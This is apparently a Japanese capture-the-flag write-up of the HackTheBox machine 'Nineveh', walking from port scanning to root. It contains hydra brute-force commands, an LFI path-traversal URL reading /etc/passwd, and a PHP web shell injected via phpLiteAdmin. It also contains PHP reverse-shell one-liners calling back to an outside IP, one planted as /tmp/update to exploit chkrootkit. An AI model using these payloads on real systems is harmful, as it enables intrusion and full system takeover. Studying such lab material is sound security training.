偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.43 Starting Nmap 7.93 ( https://nmap.org ) Nmap scan report for 10.10.10.43 Host is up (0.18s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) | ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR | Not valid before: 2017-07-01T15:03:30 |_Not valid after: 2018-07-01T15:03:30 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html).
TCP/80,443が開いているようです。/etc/hostsを編集しブラウザでアクセスすると以下のようなページが表示されました。
それぞれgobusterでディレクトリを調査します。
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 =============================================================== Gobuster v3.4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.43 [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.4 [+] Timeout: 10s =============================================================== /department (Status: 301) [Size: 315] [--> http://10.10.10.43/department/] /server-status (Status: 403) [Size: 299] ┌──(kali㉿kali)-[~] └─$ gobuster dir -k -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 =============================================================== Gobuster v3.4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://10.10.10.43 [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.4 [+] Timeout: 10s =============================================================== /db (Status: 301) [Size: 309] [--> https://10.10.10.43/db/] /server-status (Status: 403) [Size: 300] /secure_notes (Status: 301) [Size: 319] [--> https://10.10.10.43/secure_notes/] Progress: 207607 / 207644 (99.98%)
http,httpsでそれぞれディレクトリが検出されました。
まずはhttpの方から調べてみます。
/departmentにアクセスするとログイン画面が表示されます。
ページのソース内にコメントがありました。
上記より、「admin」と「amrois」というユーザがいるように見えます。
「admin」をユーザー名としてログインを試すと、「Invalid Password」メッセージが返されますが、別のユーザー名を使用すると無効なユーザー名と表示されるため、「admin」が有効なユーザー名であることがわかります。
adminを固定してhydraを実行します。
hydra -V -f -l admin -P ./rockyou.txt 10.10.10.43 http-post-form '/department/login.php:username=^USER^&password=^PASS^&Login=Login:Invalid Password!'
パスワード「1q2w3e4r5t」が取得できました。
サイトは作成中ですが、「Notes」にアクセスするとメッセージが表示されます。
また、URLはファイルのパスを指定しているような記載が見られました。
ファイルパスが確認できたのでLFIの脆弱性がないか試してみます。
「ninevehNotes」という文字列がないとファイルが選択されていない旨のエラーが出るので、文字列を含む形で試してみます。
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../etc/passwd
LFIの脆弱性が確認できました。
この時点ではこれ以上情報が見つけられないので続いてTCP/443の「/db」にアクセスしてみます。
ログイン画面が出てくるのでhydraでパスワードを探索します。
Burp Suiteでログイン画面の通信を取得し、hydraのコマンドを組み立てます。
※ユーザ名はない場合でも指定が必要です。また、POSTのbodyを正しく入力しない(途中だけ等にする)と、実行結果がおかしなことになりました。
hydra -V -f -l none -P ./rockyou.txt 10.10.10.43 https-post-form '/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.'
phpLiteAdmin v1.9には以下の脆弱性があります。
上記の内容は、「.php」を含むデータベースを作成し、phpコードをテキストフィールドとして挿入し、ブラウザでアクセスすることで挿入したコードを実行できるもののようです。
アクセス取得
上記で得られた情報をもとにDBを作成します。
フィールドはテキスト指定で以下の内容を登録します。
<?php echo system($_REQUEST ["cmd"]); ?>
上記ページには作成したDBのパス情報も記載されているので、先程LFIの脆弱性が確認されたページでアクセスしてみます。
http://10.10.10.43/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/random.php&cmd=php -r '$sock=fsockopen("10.10.14.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
リバースシェルの待ち受け側でシェルが取得できました。
特権昇格
アクセス取得後、linpeas.shおよびpspyを実行してrootにつながる情報を探します。
pspyで定期的に実行されているプロセスが確認できました。
定期的に実行されている「chkrootkit」について調べてみると、/tmp/updateという名前の実行可能ファイルをルートとして実行する脆弱性があることがわかりました。
/tmpで以下の内容のupdateファイルを作成します。
#!/bin/bash
php -r '$sock=fsockopen("10.10.14.3",4443);exec("/bin/sh -i <&3 >&3 2>&3");'
しばらくすると待ち受け側のターミナルでrootが取得できました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。